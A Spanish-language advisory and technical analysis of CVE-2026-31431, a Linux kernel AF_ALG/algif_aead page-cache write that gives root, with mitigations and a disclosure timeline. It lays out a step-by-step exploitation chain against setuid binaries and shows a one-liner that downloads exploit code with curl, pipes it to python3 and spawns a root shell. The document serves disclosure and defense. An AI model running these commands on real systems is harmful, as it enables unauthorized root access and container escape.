
Prueba de concepto del exploit para CVE-2026-31431, una escalada local de privilegios en el kernel de Linux mediante la escritura en la caché de páginas de AF_ALG, que permite obtener acceso root en las principales distribuciones.
algif_aead ("Copy Fail")
Autor: Van Glenndon Enad
Descubrimiento Original: Theori / Xint Code Research Team (Taeyang Lee)
Publicado: 29 de abril de 2026
Severidad: Alta
Puntuación CVSS v3.1: 7.8
Vector CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (Escritura Fuera de Límites), CWE-269 (Gestión Inadecuada de Privilegios)
CVE-2026-31431, apodada públicamente "Copy Fail", es una vulnerabilidad de escalada de privilegios local (LPE) de alta severidad en el módulo algif_aead del kernel de Linux — la interfaz de cifrado AEAD de la API criptográfica de espacio de usuario del kernel (AF_ALG). El fallo se origina en una optimización de rendimiento (operación in-place) introducida en 2017 mediante el commit 72548b093ee3, que inadvertidamente permitió que páginas de archivos respaldadas por caché de páginas se colocaran en la lista dispersa (scatterlist) de destino escribible durante una operación criptográfica AEAD.
Al encadenar tres subsistemas del kernel — sockets AF_ALG, la llamada al sistema splice() y el comportamiento de escritura temporal del algoritmo authencesn — un usuario local sin privilegios puede realizar una escritura controlada de 4 bytes en la caché de páginas de cualquier archivo legible. Apuntando a un binario setuid como /usr/bin/su, esta escritura corrompe la imagen ejecutable en memoria sin modificar el archivo en disco, evadiendo así las herramientas de integridad de archivos en disco. La escalada de privilegios resultante a root es determinista — no requiere condición de carrera, ni offsets del kernel específicos por distribución, ni privilegios especiales. Un exploit PoC de Python de 732 bytes publicado públicamente entrega shells de root en Ubuntu, Amazon Linux, RHEL y SUSE en una única ejecución sin modificaciones.
La vulnerabilidad ha estado presente silenciosamente en casi todas las distribuciones principales de Linux durante casi nueve años. Según Theori, AF_ALG está habilitado en prácticamente la configuración de kernel predeterminada de todas las distribuciones, lo que significa que no se necesitan banderas de compilación ni configuraciones especiales para que un sistema sea vulnerable.
El kernel de Linux expone primitivas criptográficas al espacio de usuario a través de la interfaz de sockets AF_ALG (crypto/algif_aead.c). En 2017, se fusionó una optimización de rendimiento que permitía a algif_aead realizar operaciones AEAD in-place — reutilizando el buffer de memoria de origen como destino — para evitar copias de datos innecesarias.
El fallo surge cuando el espacio de usuario introduce datos en el socket AF_ALG mediante la llamada al sistema splice(). En este caso, las páginas colocadas en la lista dispersa de origen son páginas de caché de páginas — memoria compartida gestionada por el kernel que respalda el archivo fragmentado. Debido a la optimización in-place que establece req->src = req->dst, estas páginas de caché de páginas terminan en la lista dispersa de destino escribible. El algoritmo authencesn posteriormente realiza una escritura temporal en dst[assoclen + cryptlen], que se resuelve en un offset dentro de esas páginas de caché de páginas — escribiendo efectivamente datos controlados por el atacante en la imagen en memoria del archivo fragmentado.
Debido a que la caché de páginas es compartida en todo el host, incluidos los contenedores, una escritura desde un proceso afecta a las páginas en caché de ese archivo para todos los procesos y contenedores en el mismo kernel.
El cambio problemático en algif_aead.c estableció req->src = req->dst y encadenó páginas de etiqueta (tag) de la lista dispersa de origen en la lista dispersa de salida mediante sg_chain():
/* Optimización in-place de 2017 — commit 72548b093ee3 */
req->src = req->dst; /* origen == destino */
sg_chain(dst, n + 1, src_tag); /* páginas de etiqueta encadenadas en dst escribible */
Cuando se usa splice() para introducir un archivo en el socket, las páginas de la lista dispersa están respaldadas por caché de páginas, no por memoria anónima privada. Encadenarlas en la lista dispersa dst escribible viola la suposición de que el destino es memoria privada escribible.
authencesnLa plantilla authencesn escribe un valor temporal de número de secuencia (seqno_lo, bytes 4–7 del AAD) en dst[assoclen + cryptlen]. Debido a que dst ahora contiene páginas de caché de páginas del archivo fragmentado, esta escritura aterriza en un offset controlado por el atacante dentro de la imagen en memoria del archivo:
/* Escritura temporal de authencesn — offset determinado por assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* escribe en la caché de páginas */
Los 4 bytes escritos corresponden a seqno_lo, que el atacante controla mediante el payload AAD enviado a través de sendmsg().
Socket AF_ALG (SOCK_SEQPACKET)
│
│ splice() — entrega páginas respaldadas por archivos al socket
▼
Optimización in-place de algif_aead
│ req->src = req->dst
│ las páginas de caché de páginas aterrizan en la lista dispersa escribible
▼
Escritura temporal de authencesn
│ escribe seqno_lo en dst[assoclen + cryptlen]
│ = 4 bytes elegidos por el atacante en un offset de archivo elegido por el atacante
▼
Corrupción de la caché de páginas (sin cambio en disco)
La corrección (a664bf3d603d) revierte por completo la optimización in-place — algif_aead ahora siempre opera out-of-place, asignando un buffer de destino separado. Dado que el origen y el destino ahora provienen de mapeos diferentes, las páginas de caché de páginas en src nunca pueden ser alcanzadas por la ruta de escritura de dst.
Notablemente ausentes de los requisitos previos: acceso a la red, funciones de depuración del kernel, CAP_SYS_ADMIN, módulos del kernel precargados o cualquier primitiva preexistente. La superficie de ataque es completamente local y autónoma.
Paso 1: El atacante abre un socket AEAD AF_ALG (SOCK_SEQPACKET)
│ carga automáticamente el módulo algif_aead; no se requiere root
▼
Paso 2: El atacante abre el binario setuid objetivo (p. ej. /usr/bin/su) para lectura
│ solo se necesita permiso de lectura
▼
Paso 3: splice() transfiere páginas del archivo objetivo al socket AF_ALG
│ las páginas de caché de páginas ahora están en la lista dispersa de origen
▼
Paso 4: La optimización in-place se activa: req->src = req->dst
│ las páginas de caché de páginas entran en la lista dispersa de destino escribible
▼
Paso 5: La ruta de descifrado de authencesn realiza una escritura temporal en dst[assoclen + cryptlen]
│ el atacante controla assoclen, cryptlen y el valor de 4 bytes seqno_lo
▼
Paso 6: La sobrescritura controlada de 4 bytes aterriza en la caché de páginas de /usr/bin/su
│ el binario en memoria está parcheado; el archivo en disco no cambia
▼
Paso 7: El atacante ejecuta `su` — la imagen en memoria corrupta se ejecuta como root
│ el bit setuid se conserva; el kernel ejecuta el código parcheado por el atacante
▼
Paso 8: Se obtiene shell de root — escalada de privilegios completada
En entornos de contenedores, el Paso 6 propaga la corrupción de la caché de páginas al host y a todos los contenedores hermanos que comparten el mismo kernel, permitiendo una fuga completa del contenedor.
El PoC (copy_fail_exp.py, 732 bytes) utiliza solo módulos de la biblioteca estándar de Python 3.10+: os, socket y zlib. El exploit construye y envía un payload sendmsg() meticulosamente elaborado al socket AF_ALG después de preparar las páginas del archivo mediante splice().
/usr/bin/suEl PoC predeterminado apunta a /usr/bin/su. La escritura de 4 bytes parchea una instrucción específica en la página en caché del binario ELF — reemplazando una rama de verificación de privilegios o una verificación de uid con un no-op o un salto incondicional — de modo que cuando su se ejecuta posteriormente, el entorno de ejecución setuid ejecuta el código parcheado como root. La corrupción es no persistente: una expulsión de página o un reinicio restaura el binario original.
A diferencia de los ataques típicos a la caché de páginas (p. ej., Dirty COW), Copy Fail no requiere condición de carrera. La ruta de escritura es lineal: splice() → sendmsg() → escritura temporal. Cada llamada es determinista y síncrona, lo que hace que el exploit sea altamente confiable en diferentes hardware, versiones de kernel y distribuciones.
Advertencia: Este PoC se proporciona únicamente con fines educativos, de investigación y de pruebas autorizadas. No lo use contra ningún sistema que no posea o para el cual no tenga permiso explícito por escrito para probar.
El PoC canónico es mantenido por Theori en el repositorio oficial. Es un script autónomo de Python 3.10+ de 732 bytes sin dependencias externas.
Uso predeterminado (apunta a /usr/bin/su):
python3 copy_fail_exp.py
Objetivo setuid personalizado:
python3 copy_fail_exp.py /usr/bin/sudo
Una línea (desde el sitio oficial):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 del PoC canónico:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
El mismo script sin modificar ha sido demostrado públicamente logrando shells de root en Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 y SUSE 16 en una única sesión de tmux.
El vector de impacto más crítico son los entornos multiinquilino: cajas de desarrollo compartidas, nodos trabajadores de Kubernetes, runners autoalojados de GitHub Actions, agentes CI de GitLab/Jenkins, plataformas de alojamiento de notebooks y entornos serverless donde el código proporcionado por el usuario se ejecuta bajo una cuenta de usuario normal. Cualquier entorno de este tipo que ejecute un kernel sin parchear está completamente comprometido por cualquier usuario que pueda ejecutar código.
Actualice el kernel a una versión que contenga el commit de corrección principal a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5:
Deshabilite el módulo del kernel algif_aead para bloquear la ruta de ataque en su origen:
# Persistir el bloqueo entre reinicios
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Descargar el módulo del kernel en ejecución (si está cargado)
rmmod algif_aead
Qué rompe esto: Esto no afecta a dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH ni a OpenSSL/GnuTLS/NSS estándar. Puede afectar a aplicaciones de espacio de usuario que usen explícitamente el motor
afalgde OpenSSL o que enlacen directamente socketsaead. Verifique conlsof | grep AF_ALGantes de aplicar.
AF_ALG mediante seccomp independientemente del estado del parche — agregue SOCK_SEQPACKET + AF_ALG a la lista de denegación en su perfil seccomp.AF_ALG.AF_ALG SOCK_SEQPACKET — este es el primer paso obligatorio del exploit.su/sudo combinadas con el uso de sockets AF_ALG como señal de comportamiento.Aviso legal: Este análisis y prueba de concepto se publican estrictamente con fines educativos, de investigación y de seguridad defensiva. El autor no aprueba el acceso no autorizado a sistemas informáticos. Siempre obtenga permiso explícito por escrito antes de realizar pruebas de seguridad contra cualquier sistema que no posea.
| Componente | Detalles |
|---|
| Subsistema Afectado | crypto/algif_aead.c — Interfaz AEAD AF_ALG del kernel de Linux |
| Vulnerabilidad Introducida | Kernel de Linux 4.14 (2017), commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| Versiones Corregidas | 6.18.22, 6.19.12, 7.0 |
| Commit de Corrección | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| Distribuciones Verificadas | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| Afectadas Implícitamente | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux y cualquier distribución que ejecute un kernel sin parchear compilado desde 2017 |
| Requisito | Notas |
|---|
| Cuenta de usuario local sin privilegios | No se necesitan permisos elevados |
| Kernel compilado desde 2017 en adelante (≥ 4.14) | Cubre efectivamente todas las distribuciones principales |
AF_ALG (CONFIG_CRYPTO_USER_API) habilitado | Predeterminado en prácticamente todas las configuraciones de kernel de distribuciones |
Módulo algif_aead cargable/cargado | Se carga automáticamente en la primera creación de socket AF_ALG |
Al menos un binario setuid legible | p. ej., /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (para el PoC público) | Solo os, socket, zlib de la biblioteca estándar |
| Parámetro | Control del Atacante | Mecanismo |
|---|
| Archivo objetivo | Cualquier archivo legible por el atacante | Pasado a splice() |
| Offset de escritura | assoclen + cryptlen | Establecido mediante opciones de socket en sendmsg() |
| Valor de escritura (4 bytes) | seqno_lo | Bytes 4–7 del payload AAD en sendmsg() |
| Categoría | Descripción |
|---|
| Confidencialidad | Acceso de lectura completo a todos los archivos del host como root |
| Integridad | Capacidad de escribir archivos arbitrarios, instalar backdoors, modificar /etc/passwd o /etc/shadow |
| Disponibilidad | Toma de control completa del host; posible interrupción del servicio |
| Autenticación | No se requieren credenciales más allá de una cuenta de usuario local |
| Fuga de Contenedores | La caché de páginas se comparte en todo el host — un pod con un shell local puede comprometer el nodo y cruzar los límites del inquilino |
| Pipeline CI/CD | Una solicitud de extracción no confiable ejecutada en un runner autoalojado se convierte en root en el host del runner |
| Persistencia | Post-explotación: inyección de claves SSH, trabajos cron, instalación de módulos del kernel — todo trivialmente alcanzable |
| Evasión Forense | El binario en disco nunca se modifica; los monitores de integridad de archivos (FIM), AIDE, Tripwire no ven ningún cambio |
| Distribución | Versión de Kernel Corregida |
|---|
| Linux ascendente | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Parche del proveedor disponible — apt update && apt upgrade |
| Amazon Linux 2023 | Parche del proveedor disponible — dnf update kernel |
| RHEL 10.1 | Parche de Red Hat en progreso — AlmaLinux envió la corrección ascendente |
| SUSE 16 | Parche del proveedor disponible — zypper update kernel-default |
| Fecha | Evento |
|---|
| 2026-03-23 | Vulnerabilidad reportada al equipo de seguridad del kernel de Linux por Theori |
| 2026-03-24 | Acuse de recibo inicial recibido |
| 2026-03-25 | Parche propuesto y revisado por los mantenedores del kernel |
| 2026-04-01 | Corrección confirmada en la línea principal (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 asignado |
| 2026-04-29 | Divulgación pública en copy.fail; PoC publicado en GitHub |
| 2026-04-30 | AlmaLinux envía kernel parcheado usando la corrección ascendente |
| 2026-04-30 | Blog de seguridad de Microsoft, Sophos, Sysdig, Bugcrowd publican análisis |
| 2026-05-01 | PoC de fuga de contenedores de Kubernetes publicado |
| 2026-05-02 | Análisis independiente y documentación publicados |